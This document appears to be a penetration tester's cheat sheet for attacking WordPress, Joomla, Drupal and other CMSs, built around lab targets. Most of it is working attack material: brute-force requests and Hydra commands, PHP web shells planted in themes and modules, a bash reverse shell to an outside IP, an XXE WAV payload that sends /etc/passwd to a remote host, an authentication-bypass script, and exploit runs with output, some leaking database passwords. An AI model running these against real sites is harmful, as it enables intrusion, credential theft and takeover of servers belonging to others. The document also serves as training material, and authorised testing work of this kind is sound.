CMS

Exploit Wordpress, Drupal, Joomla and others CMS

Default credentials

cat /opt/tools/metasploit-framework/data/wordlists/cms400net_default_userpass.txt 
admin admin
builtin builtin
jedit jedit
jmember jmember
Admin2 Admin2
tbrown tbrown
jsmith jsmith
vs vs
EkExplorerUser EkExplorerUser
Explorer Explorer
member@example.com member@example.com
north north
supermember supermember
west west

Scanner

GitHub - Tuhinshubhra/CMSeeK: CMS Detection and Exploitation suite - Scan WordPress, Joomla, Drupal and over 180 other CMSsGitHub

Awesome RCE Techniques

GitHub - p0dalirius/Awesome-RCE-techniques: Awesome list of techniques to achieve Remote Code Execution on various apps!GitHub

Nibbleblog

Nibbleblog 4.0.3 - Arbitrary File Upload (Metasploit)Exploit Database

Nibbleblog 4.0.3 - Arbitrary File Upload

GetSimple

GetSimpleCMS - Unauthenticated Remote Code Execution (Metasploit)Exploit Database

Get Simple CMS version 3.3.15 and before - CVE-2019-11231 - Unauthenticated Remote Code Execution (Metasploit)

GetSimple CMS v3.3.16 - Remote Code Execution (RCE)Exploit Database

GetSimple CMS v3.3.16 - Remote Code Execution (RCE)

Wordpress

WordPress for Security AuditSynacktiv

WordpressHackTricks

Mastering WordPress Penetration Testing: A Step-by-Step GuideSecurity Cipher

5 Ways to hack WordPress targetsIntigriti

Discovery

/robots.txt

User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php
Disallow: /wp-content/uploads/wpforms/

Sitemap: https://inlanefreight.local/wp-sitemap.xml

$ curl -s http://blog.inlanefreight.local | grep WordPress

<meta name="generator" content="WordPress 5.8" /

Version

https://target.com/feed
https://target.com/?feed=rss2

Log file

http://target.com/wp-content/debug.log

Fuzzing

bug-bounty-fuzz-wordlist/wordpress.txt at main · linuxadi/bug-bounty-fuzz-wordlistGitHub

payloads/coffin@wp-fuzz.txt at main · coffinxp/payloadsGitHub

payloads/wordpress-random.txt at main · coffinxp/payloadsGitHub

payloads/wp-content.txt at main · coffinxp/payloadsGitHub

wordlists/technologies/wordpress-all-levels.txt at main · trickest/wordlistsGitHub

wordlists/technologies/wordpress.txt at main · trickest/wordlistsGitHub

Interesting files - Change Target in wordlist

wp-admin.php
wp-config.php
wp-content/uploads
Wp-load
wp-signup.php
Wp-json
wp-includes
wp-login.php
wp-link-opml.php
wp-activate.php
wp-blog-header.php
wp-cron.php
wp-links.php
wp-mail.php
xmlrpc.php
wp-settings.php
wp-trackback.php
wp-signup.php
admin-bar.php
wp-config.php-backup
wp-config.php.orig
wp-config.php.swp
wp-config-sample.php
wp-config.inc
wp-config.old
wp-config.txt
wp-config.php.txt
wp-config.php.bak
wp-config.php.zip
wp-config.php.rar
wp-config.php.tar
wp-config.php.tar.gz
wp-config.php.gz
wp-config.php.old
wp-config.php.dist
wp-config.php.inc
wp-config.php.swp
wp-config.php.html
wp-config-backup.txt
wp-config.php.save
wp-config.php~
wp-config.php.original
.wp-config.php.swp
_wpeprivate/config.json
.env
.env.bak
.env.php
wp-config-backup.php
wp-config.php.save
wp-config.php~
wp-config.php.old
error_log.log
php_error.log
wp.sql
db.sql
wpbackup.sql
mysql_backup.sql
backup.zip
backup.rar
backup.tar
backup.tar.gz
backup.bak
backup.gz
{TARGET}.zip
{TARGET}-backup.zip
{TARGET}.rar
{TARGET}-backup.rar
{TARGET}.tar
{TARGET}-backup.tar
{TARGET}.tar.gz
{TARGET}-backup.tar.gz
{TARGET}.bak
{TARGET}-backup.bak
{TARGET}.gz
{TARGET}-backup.gz

WAF path-based bypass

GET /wp-login.php\xA0

200 OK

Open Registration

/wp-register.php
/wp-register
/wp-login.php?action=register

Directory Listing enabled

/wp-content

Plugins and Themes

Plugins: wp-content/plugins

Themes: wp-content/themes

curl -s http://blog.inlanefreight.local/ | grep themes

curl -s http://blog.inlanefreight.local/ | grep plugins

Grep on different pages - could found more plugins

curl -s http://blog.inlanefreight.local/?p=1 | grep plugins

Version: readme.txt file in /wp-content/plugins/plugin_name/ ?

Username Enumeration

http://target.com/?author=1

/?rest_route=/wp/v2/users 
/?rest_route=/wp-json/wp/v2/users
/wp-json/wp/v2/users
/wp-json/wp/v2/users/1

/wp-login.php

XMLRPC

How Hackers Abuse XML-RPC to Launch Bruteforce and DDoS AttacksInfoSec Write-ups

Rapid7Rapid7

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Check for the following methods:

wp.getUserBlogs
metaWeblog.getUsersBlogs
wp.getCategories
pingback.ping

Mastering WordPress Penetration Testing: A Step-by-Step GuideSecurity Cipher

Brute force

POST /xmlrpc.php HTTP/1.1
Host: target.com

<?xml version="1.0" encoding="UTF-8"?>
<methodCall> 
<methodName>wp.getUsersBlogs</methodName> 
<params> 
<param><value>admin</value></param> 
<param><value>BRUTEFORCE_IN_HERE</value></param> 
</params> 
</methodCall>

Cross Site Port Attack, XSPA

POST /xmlrpc.php HTTP/1.1
Host: target.com

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://yourip:port</string></value>
</param><param>
<value>
<string>https://target.com></string>
</value>
</param></params>

WPscan

WPScan: WordPress Security_WPScan_

wpscan --url http://blog.inlanefreight.local --enumerate --api-token dEOFB<SNIP>

Automated enumeration on its own is often not enough. Combine both manual (source code, curl, etc.) and automated enumeration

Plugin detection agressive

wpscan --api-token Zn<SNIP> --url "http://blog.inlanefreight.local" --plugins-detection aggressive

WPProbe

GitHub - Chocapikk/wpprobe: A fast WordPress plugin enumeration toolGitHub

WPFinger

GitHub - Chocapikk/wpfinger: wpfinger is a red-team WordPress scanning toolGitHub

wpfinger scan -u https://example.com --all

WPIntel

GitHub - Tuhinshubhra/WPintel: Chrome extension designed for WordPress Vulnerability Scanning and information gathering!GitHub

Nuclei Template

nuclei-templates/wp-setup-config.yaml at main · coffinxp/nuclei-templatesGitHub

Start with the standard brute-force module, the XMLRPC module doesn't always work. Use a small list (cewl, cewler) before a large list like rockyou.

wpscan -U username -P cewler.txt --url http://IP:PORT/wordpress/

sudo wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.local

With Hydra

hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'

With Kraken

Kraken - All-in-One Tool

Bypass 403

Bypass 403 / 401

XSS to RCE

For Wordpress Versions 6.X.X, 5.X.X and 4.X.X.

GitHub - nowak0x01/WPXStrike: WPXStrike is a script designed to escalate a Cross-Site Scripting (XSS) vulnerability to Remote Code Execution (RCE) or other's criticals vulnerabilities in WordPressGitHub

Code Execution

Themes

system($_GET[0]);

curl http://blog.inlanefreight.local/wp-content/themes/twentynineteen/404.php?0=id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Web Shell

Metasploit

use exploit/unix/webapp/wp_admin_shell_upload

Exploit aborted due to failure: not-found: The target does not appear to be using WordPress set vhost

msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhost 10.129.42.195  
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set VHOST blog.inlanefreight.local

Others (not CPTS)

https://www.hackingarticles.in/wordpress-reverse-shell/Pluginwww.hackingarticles.in

GitHub - p0dalirius/Wordpress-webshell-plugin: A webshell plugin and interactive shell for pentesting a WordPress website.GitHub

Leveraging Known Vulnerabilities

Note: We can use the waybackurls tool to look for older versions of a target site using the Wayback Machine. Sometimes we may find a previous version of a WordPress site using a plugin that has a known vulnerability. If the plugin is no longer in use but the developers did not remove it properly, we may still be able to access the directory it is stored in and exploit a flaw.

GitHub - yubsy/Wordpress-Exploits: Collection of Exploit, CVES(Unauthenticated) and Wordpress ScannersGitHub

Theme - twentytwentyone v1.1

Malicious wav file:


┌──(kali㉿kali)-[~]
└─$ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.17.26.83:4444/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > evilsound.wav

Malicious dtd:

<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.11.16.30:4444/?p=%file;'>" >

Upload the payload - Medias

Plugin Vulnerabilities

WordPress Plugin VulnerabilitiesWPScan

WooCommerce - LFI

Capture request in Burp
Change request method to POST and add:

POST /wp-admin/admin-ajax.php?template=../../../../../../../etc/passwd&value=a&min_symbols=1

Also add:

action=woof_text_search&

Buddyforms 2.7.7 - Iconv RCE

PHP

Time Clock <= 1.2.2 & Time Clock Pro <= 1.1.4 - Unauthenticated (Limited) Remote Code Execution

GitHub - RandomRobbieBF/CVE-2024-9593: Time Clock <= 1.2.2 & Time Clock Pro <= 1.1.4 - Unauthenticated (Limited) Remote Code ExecutionGitHub

Really Simple Security 9.0.0 – 9.1.1.1 – CVE-2024-10924 Authentication Bypass

If 2FA is enabled

POST /wp-json/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json;
Connection: keep-alive
Content-Length: 90

{
    "user_id":1,
    "login_nonce": "231231231",
    "redirect_to": "/wp-admin/"
}

GitHub - RandomRobbieBF/CVE-2024-10924: Really Simple Security (Free, Pro, and Pro Multisite) 9.0.0 – 9.1.1.1 – Authentication BypassGitHub

Really Simple Security 9.1.1.1 - Authentication BypassExploit Database

GitHub - m3ssap0/wordpress-really-simple-security-authn-bypass-vulnerable-application: WARNING: This is a vulnerable application to test the exploit for the Really Simple Security < 9.1.2 authentication bypass (CVE-2024-10924). Run it at your own risk!GitHub

import requests
import urllib.parse
import sys

if len(sys.argv) != 2:
    print("Usage: python exploit.py <user_id>")
    sys.exit(1)

user_id = sys.argv[1]

url = "http://vulnerablewp.thm:8080/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"
data = {
    "user_id": int(user_id),  # User ID from the argument
    "login_nonce": "invalid_nonce",  # Arbitrary value
    "redirect_to": "/wp-admin/"  # Target redirection
}

# Sending the POST request
response = requests.post(url, json=data)

# Checking the response
if response.status_code == 200:
    print("Request successful!\n")
    
    # Extracting cookies
    cookies = response.cookies.get_dict()
    count = 1

    for name, value in cookies.items():
        decoded_value = urllib.parse.unquote(value)  # Decode the URL-encoded cookie value
        print(f"Cookie {count}:")
        print(f"Cookie Name: {name}")
        print(f"Cookie Value: {decoded_value}\n")
        count += 1
else:
    print("Request failed!")
    print(f"Status Code: {response.status_code}")
    print(f"Response Text: {response.text}")

Change cookies and access the page:

GitHub - Chocapikk/CVE-2024-8672: Widget Options – The #1 WordPress Widget & Block Control Plugin <= 4.0.7 - Authenticated (Contributor+) Remote Code ExecutionGitHub

Vulnerable Plugins - mail-masta

Unauthenicated SQLi: https://www.exploit-db.com/exploits/41438

LFI: https://www.exploit-db.com/exploits/50226

curl -s http://blog.inlanefreight.local/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

Vulnerable Plugins - wpDiscuz

Command execution https://www.exploit-db.com/exploits/49967

python3 wp_discuz.py -u http://blog.inlanefreight.local -p /?p=1

---------------------------------------------------------------
[-] Wordpress Plugin wpDiscuz 7.0.4 - Remote Code Execution
[-] File Upload Bypass Vulnerability - PHP Webshell Upload
[-] CVE: CVE-2020-24186
[-] https://github.com/hevox
--------------------------------------------------------------- 

[+] Response length:[102476] | code:[200]
[!] Got wmuSecurity value: 5c9398fcdb
[!] Got wmuSecurity value: 1 

[+] Generating random name for Webshell...
[!] Generated webshell name: uthsdkbywoxeebg

[!] Trying to Upload Webshell..
[+] Upload Success... Webshell path:url&quot;:&quot;http://blog.inlanefreight.local/wp-content/uploads/2021/08/uthsdkbywoxeebg-1629904090.8191.php&quot; 

> id

[x] Failed to execute PHP code...

But Curl works

$ curl -s http://blog.inlanefreight.local/wp-content/uploads/2021/08/uthsdkbywoxeebg-1629904090.8191.php?cmd=id

GIF689a;

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Formidable Pro plugin

$4,500 Bounty: SQL Injection in WordPress Plugin Leads to PII Exposure at GrabInfoSec Write-ups

sqlmap -u 'https://target.com/wp-admin/admin-ajax.php' \
  --data 'action=frm_forms_preview&after_html=[display-frm-data id=1 order="%2a(true=true)"]' \
  --param-del ' ' -p true --technique B \
  --tamper=commalesslimit \
  --eval='true=true.replace(",",",-it.id%2b")' \
  --string 'expected_string'

SQLMAP

Joomla

JoomlaHackTricks

Joomla CMS Vulnerability & Security ScannerPentest-Tools.com

Discovery

$ curl -s http://dev.inlanefreight.local/ | grep Joomla

	<meta name="generator" content="Joomla! - Open Source Content Management" />


<SNIP>

robots.txt

# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
# eg the Disallow rule for the /administrator/ folder MUST
# be changed to read
# Disallow: /joomla/administrator/
#
# For more information about the robots.txt standard, see:
# https://www.robotstxt.org/orig.html

User-agent: *
Disallow: /administrator/
Disallow: /bin/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /layouts/
Disallow: /libraries/
Disallow: /logs/
Disallow: /modules/
Disallow: /plugins/
Disallow: /tmp/

Scanners

GitHub - drego85/JoomlaScan: A free software to find the components installed in Joomla CMS, built out of the ashes of Joomscan.GitHub

GitHub - OWASP/joomscan: OWASP Joomla Vulnerability Scanner ProjectGitHub

Version

curl -s http://dev.inlanefreight.local/README.txt | head -n 5

1- What is this?
	* This is a Joomla! installation/upgrade package to version 3.x
	* Joomla! Official site: https://www.joomla.org
	* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
	* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

media/system/js/ directory or administrator/manifests/files/joomla.xml

$ curl -s http://dev.inlanefreight.local/administrator/manifests/files/joomla.xml | xmllint --format -

<?xml version="1.0" encoding="UTF-8"?>
<extension version="3.6" type="file" method="upgrade">
  <name>files_joomla</name>
  <author>Joomla! Project</author>
  <authorEmail>admin@joomla.org</authorEmail>
  <authorUrl>www.joomla.org</authorUrl>
  <copyright>(C) 2005 - 2019 Open Source Matters. All rights reserved</copyright>
  <license>GNU General Public License version 2 or later; see LICENSE.txt</license>
  <version>3.9.4</version>
  <creationDate>March 2019</creationDate>
  
 <SNIP>

Enumeration

Wordlist

wordlists/technologies/joomla-all-levels.txt at main · trickest/wordlistsGitHub

wordlists/technologies/joomla.txt at main · trickest/wordlistsGitHub

Droopscan

GitHub - SamJoan/droopescan: A plugin-based scanner that aids security researchers in identifying issues with several CMSs, mainly Drupal & Silverstripe.GitHub

sudo pip3 install droopescan

droopescan scan joomla --url http://dev.inlanefreight.local/

JoomlaScan

GitHub - drego85/JoomlaScan: A free software to find the components installed in Joomla CMS, built out of the ashes of Joomscan.GitHub

$ python2.7 -m pip install urllib3
$ python2.7 -m pip install certifi
$ python2.7 -m pip install bs4

python2.7 joomlascan.py -u http://dev.inlanefreight.local

The default administrator account on Joomla installs is admin

GitHub - ajnik/joomla-bruteforce: Joomla login bruteforceGitHub

pip3 install bs4

python3 joomla-brute.py -u http://dev.inlanefreight.local -w /opt/tools/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

Also see:

Kraken - All-in-One Tool

Joomla! Config Dist File

https://example.com/configuration.php-dist

Database File List

https://example.com/libraries/joomla/database/

Joomla! 1.6/1.7/2.5 - Privesc by creating admin account

GitHub - p0dalirius/Joomla-1.6-1.7-2.5-Privilege-Escalation-Vulnerability: A Python script to create an administrator account on Joomla! 1.6/1.7/2.5 using a privilege escalation vulnerabilityGitHub

Joomla! < 4.2.8 - Unauthenticated information disclosure - CVE-2023-23752

$ curl http://MACHINE_IP/api/index.php/v1/config/application?public=true | jq

$ curl http://MACHINE_IP/api/index.php/v1/users?public=true | jq

See HTB - Devvortex WU - Poc: https://github.com/Acceis/exploit-CVE-2023-23752

$ gem install httpx docopt paint
$ ruby exploit.rb http://dev.devvortex.htb
Users
[649] lewis (lewis) - lewis@devvortex.htb - Super Users
[650] logan paul (logan) - logan@devvortex.htb - Registered

Site info
Site name: Development
Editor: tinymce
Captcha: 0
Access: 1
Debug status: false

Database info
DB type: mysqli
DB host: localhost
DB user: lewis
DB password: P4**************##
DB name: joomla
DB prefix: sd4fg_
DB encryption 0

Joomla! CVE-2023-23752 to Code Execution - Blog - VulnCheckJoomla! CVE-2023-23752 to Code Execution - Blog - VulnCheck

osboxes@osboxes:~$ curl -v http://10.10.5.138/api/index.php/v1/users?public=true | jq
* processing: http://10.10.5.138/api/index.php/v1/users?public=true
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0*   Trying 10.10.5.138:80...
* Connected to 10.10.5.138 (10.10.5.138) port 80
> GET /api/index.php/v1/users?public=true HTTP/1.1
> Host: 10.10.5.138
> User-Agent: curl/8.2.1
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Mon, 16 Dec 2024 15:17:49 GMT
< Server: Apache/2.4.41 (Ubuntu)
< x-frame-options: SAMEORIGIN
< referrer-policy: strict-origin-when-cross-origin
< cross-origin-opener-policy: same-origin
< Permissions-Policy: interest-cohort=()
< X-Powered-By: JoomlaAPI/1.0
< Expires: Wed, 17 Aug 2005 00:00:00 GMT
< Last-Modified: Mon, 16 Dec 2024 15:17:49 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Content-Length: 401
< Content-Type: application/vnd.api+json; charset=utf-8
< 
{ [401 bytes data]
100   401  100   401    0     0   2955      0 --:--:-- --:--:-- --:--:--  2970
* Connection #0 to host 10.10.5.138 left intact
{
  "links": {
    "self": "http://10.10.5.138/api/index.php/v1/users?public=true"
  },
  "data": [
    {
      "type": "users",
      "id": "109",
      "attributes": {
        "id": 109,
        "name": "root",
        "username": "root",
        "email": "root@root.thm",
        "block": 0,
        "sendEmail": 1,
        "registerDate": "2023-07-19 09:20:46",
        "lastvisitDate": "2023-07-20 10:38:18",
        "lastResetTime": null,
        "resetCount": 0,
        "group_count": 1,
        "group_names": "Super Users"
      }
    }
  ],
  "meta": {
    "total-pages": 1
  }
}

osboxes@osboxes:~$ curl -v http://10.10.5.138/api/index.php/v1/config/application?public=true | jq
* processing: http://10.10.5.138/api/index.php/v1/config/application?public=true
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0*   Trying 10.10.5.138:80...
* Connected to 10.10.5.138 (10.10.5.138) port 80
> GET /api/index.php/v1/config/application?public=true HTTP/1.1
> Host: 10.10.5.138
> User-Agent: curl/8.2.1
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Mon, 16 Dec 2024 15:15:48 GMT
< Server: Apache/2.4.41 (Ubuntu)
< x-frame-options: SAMEORIGIN
< referrer-policy: strict-origin-when-cross-origin
< cross-origin-opener-policy: same-origin
< Permissions-Policy: interest-cohort=()
< X-Powered-By: JoomlaAPI/1.0
< Expires: Wed, 17 Aug 2005 00:00:00 GMT
< Last-Modified: Mon, 16 Dec 2024 15:15:48 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Content-Length: 1986
< Content-Type: application/vnd.api+json; charset=utf-8
< 
{ [1986 bytes data]
100  1986  100  1986    0     0  15575      0 --:--:-- --:--:-- --:--:-- 15637
* Connection #0 to host 10.10.5.138 left intact
{
  "links": {
    "self": "http://10.10.5.138/api/index.php/v1/config/application?public=true",
    "next": "http://10.10.5.138/api/index.php/v1/config/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20",
    "last": "http://10.10.5.138/api/index.php/v1/config/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"
  },
  "data": [
   <-SNIP-> 
   
      "type": "application",
      "id": "220",
      "attributes": {
        "dbtype": "mysqli",
        "id": 220
      }
    },
    {
      "type": "application",
      "id": "220",
      "attributes": {
        "host": "localhost",
        "id": 220
      }
    },
    {
      "type": "application",
      "id": "220",
      "attributes": {
        "user": "root",
        "id": 220
      }
    },
    {
      "type": "application",
      "id": "220",
      "attributes": {
        "password": "root@123",
        "id": 220
      }
    },
    {
      "type": "application",
      "id": "220",
      "attributes": {
        "db": "joomla_db",
        "id": 220
      }
    },
    {
 <-SNIP->
 
}

Code Execution

Joomla: Reverse Shell - Hacking ArticlesHacking Articles

Joomla! CVE-2023-23752 to Code Execution - Blog - VulnCheckJoomla! CVE-2023-23752 to Code Execution - Blog - VulnCheck

See Devvortex HTB WU

Templates

Add <?php system($_GET['cmd']);?> to error.php

Non standard file name:

system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);

$ curl -s http://dev.inlanefreight.local/templates/protostar/error.php?dcfdd5e021a869fcc6dfaef8bf31377e=id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Reverse Shell

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.13/1234 0>&1'");
php?>

Plug In - Web Shell

GitHub - p0dalirius/Joomla-webshell-plugin: A webshell plugin and interactive shell for pentesting a Joomla website.GitHub

Joomla < 3.9.5

Joomla < 3.9.5 - CVE-2019-10945: directory traversal and authenticated file deletion vulnerability

Joomla! Core 1.5.0 - 3.9.4 - Directory Traversal / Authenticated Arbitrary File DeletionExploit Database

GitHub - dpgg101/CVE-2019-10945: Joomla! Core 1.5.0 - 3.9.4 - Directory Traversal / Authenticated Arbitrary File Deletion in Python3GitHub

$ python2.7 joomla_dir_trav.py --url "http://dev.inlanefreight.local/administrator/" --username admin --password admin --dir /
 
# Exploit Title: Joomla Core (1.5.0 through 3.9.4) - Directory Traversal && Authenticated Arbitrary File Deletion
# Web Site: Haboob.sa
# Email: research@haboob.sa
# Versions: Joomla 1.5.0 through Joomla 3.9.4
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10945    
 _    _          ____   ____   ____  ____  
| |  | |   /\   |  _ \ / __ \ / __ \|  _ \ 
| |__| |  /  \  | |_) | |  | | |  | | |_) |
|  __  | / /\ \ |  _ <| |  | | |  | |  _ < 
| |  | |/ ____ \| |_) | |__| | |__| | |_) |
|_|  |_/_/    \_\____/ \____/ \____/|____/ 
                                                                       


administrator
bin
cache
cli
components
images
includes
language
layouts
libraries
media
modules
plugins
templates
tmp
LICENSE.txt
README.txt
configuration.php
htaccess.txt
index.php
robots.txt
web.config.txt

Drupal

Offensive Security Cheatsheet

DrupalHackTricks

Drupal CMS Vulnerability & Security ScannerPentest-Tools.com

Discovery/Footprinting

header or footer message Powered by Drupal

CHANGELOG.txt file or README.txt file, via the page source, or clues in the robots.txt file such as references to /node

$ curl -s http://drupal.inlanefreight.local | grep Drupal

<meta name="Generator" content="Drupal 8 (https://www.drupal.org)" />
      <span>Powered by <a href="https://www.drupal.org">Drupal</a></span>

http://drupal.inlanefreight.local/node/1

Enumeration

Wordlist

wordlists/technologies/drupal-all-levels.txt at main · trickest/wordlistsGitHub

wordlists/technologies/drupal.txt at main · trickest/wordlistsGitHub

/core/install.php accessible

If /core/install.php is publicly accessible, in some cases, it could allow an attacker to reinstall the CMS, leading to a potential site takeover.

I Hacked the Dutch Government — They Sent Me a T-ShirtMedium

Scanners

Droopescan

$ droopescan scan drupal -u http://drupal.inlanefreight.local

[+] Plugins found:                                                              
    php http://drupal.inlanefreight.local/modules/php/
        http://drupal.inlanefreight.local/modules/php/LICENSE.txt

[+] No themes found.

[+] Possible version(s):
    8.9.0
    8.9.1

[+] Possible interesting urls found:
    Default admin - http://drupal.inlanefreight.local/user/login

[+] Scan finished (0:03:19.199526 elapsed)

Drupwn

GitHub - immunIT/drupwn: Drupal enumeration & exploitation toolGitHub

Kraken - All-in-One Tool

Leveraging the PHP Filter Module

Drupal before version 8

enable the PHP filter module

http://drupal-qa.inlanefreight.local/#overlay=admin/modules

Content --> Add content and create a Basic page

<?php
system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);
?>

After clicking save, we will be redirected to the new page

$ curl -s http://drupal-qa.inlanefreight.local/node/3?dcfdd5e021a869fcc6dfaef8bf31377e=id | grep uid | cut -f4 -d">"

uid=33(www-data) gid=33(www-data) groups=33(www-data)

From version 8 onwards

Install the PHP Filter module

$ wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

Administration > Reports > Available updates.

Note: Location may differ based on the Drupal version and may be under the Extend menu.

Once the module is installed, we can click on Content and create a new basic page - Refer to Drupal before version 8

Uploading a Backdoored Module

A backdoored module can be created by adding a shell to an existing module. Modules can be found on the drupal.org website. Here, pick CAPTCHA:

$ wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
$ tar xvf captcha-8.x-1.2.tar.gz

shell.php

<?php
system($_GET[fe8edbabc5c5c9b7b764504cd22b17af]);
?>

create a .htaccess file to give ourselves access to the folder

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>

Copy both of these files to the captcha folder and create an archive

$ mv shell.php .htaccess captcha
$ tar cvf captcha.tar.gz captcha/

captcha/
captcha/.travis.yml
captcha/README.md
captcha/captcha.api.php
captcha/captcha.inc
captcha/captcha.info.yml
captcha/captcha.install

<SNIP>

Manage and then Extend on the sidebar. Next, click on the + Install new module button Browse to the backdoored Captcha archive and click Install

$ curl -s drupal.inlanefreight.local/modules/captcha/shell.php?fe8edbabc5c5c9b7b764504cd22b17af=id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Drupalgeddon

Versions 7.0 up to 7.31

Pre-authentication SQL injection which can be used to upload malicious code or add an admin user

Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User)Exploit Database

$ python2.7 drupalgeddon.py -t http://drupal-qa.inlanefreight.local -u hacker -p pwnd

<SNIP>

[!] VULNERABLE!

[!] Administrator user created!

[*] Login: hacker
[*] Pass: pwnd
[*] Url: http://drupal-qa.inlanefreight.local/?q=node&destination=node

We can log to the admin interface et create a shell - See PHP Filter Module

With Metasploit: exploit/multi/http/drupal_drupageddon

Drupalgeddon2

Versions of Drupal prior to 7.58 and 8.5.1 - RCE

Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC)Exploit Database

$ python3 drupalgeddon2.py 

################################################################
# Proof-Of-Concept for CVE-2018-7600
# by Vitalii Rudnykh
# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders
# https://github.com/a2u/CVE-2018-7600
################################################################
Provided only for educational or information purposes

Enter target url (example: https://domain.ltd/): http://drupal-dev.inlanefreight.local/

Check: http://drupal-dev.inlanefreight.local/hello.txt

$ curl -s http://drupal-dev.inlanefreight.local/hello.txt

;-)

$ echo '<?php system($_GET[fe8edbabc5c5c9b7b764504cd22b17af]);?>' | base64

PD9waHAgc3lzdGVtKCRfR0VUW2ZlOGVkYmFiYzVjNWM5YjdiNzY0NTA0Y2QyMmIxN2FmXSk7Pz4K

Replace the echo command in the exploit script with a command to write out our malicious PHP script

echo "PD9waHAgc3lzdGVtKCRfR0VUW2ZlOGVkYmFiYzVjNWM5YjdiNzY0NTA0Y2QyMmIxN2FmXSk7Pz4K" | base64 -d | tee mrb3n.php

$ python3 drupalgeddon2.py 

################################################################
# Proof-Of-Concept for CVE-2018-7600
# by Vitalii Rudnykh
# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders
# https://github.com/a2u/CVE-2018-7600
################################################################
Provided only for educational or information purposes

Enter target url (example: https://domain.ltd/): http://drupal-dev.inlanefreight.local/

Check: http://drupal-dev.inlanefreight.local/mrb3n.php

$ curl http://drupal-dev.inlanefreight.local/mrb3n.php?fe8edbabc5c5c9b7b764504cd22b17af=id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

GitHub - dreadlocked/Drupalgeddon2: Exploit for Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002)GitHub

GitHub - lorddemon/drupalgeddon2: Exploit for CVE-2018-7600.. called drupalgeddon2,GitHub

Metasploit: use exploit/unix/webapp/drupal_drupalgeddon2

[CVE-2018-7600] Drupalgeddon 2 | INEINE, Inc.

Drupalgeddon3

Multiple versions of Drupal 7.x and 8.x - >=7.0 <7.59 || >= 8.0.0 <8.4.8 || >=8.5.0 <8.5.3

First log in and obtain a valid session cookie

sf6 exploit(multi/http/drupal_drupageddon3) > set rhosts 10.129.42.195
msf6 exploit(multi/http/drupal_drupageddon3) > set VHOST drupal-acc.inlanefreight.local   
msf6 exploit(multi/http/drupal_drupageddon3) > set drupal_session SESS45ecfcb93a827c3e578eae161f280548=jaAPbanr2KhLkLJwo69t0UOkn2505tXCaEdu33ULV2Y
msf6 exploit(multi/http/drupal_drupageddon3) > set DRUPAL_NODE 1
msf6 exploit(multi/http/drupal_drupageddon3) > set LHOST 10.10.14.15

Pluck CMS

Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)

Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)Exploit Database

Version 4.7.16

GitHub - shikari00007/Pluck-CMS-Pluck-4.7.16-Theme-Upload-Remote-Code-Execution-Authenticated--POCGitHub

Version 4.7.18

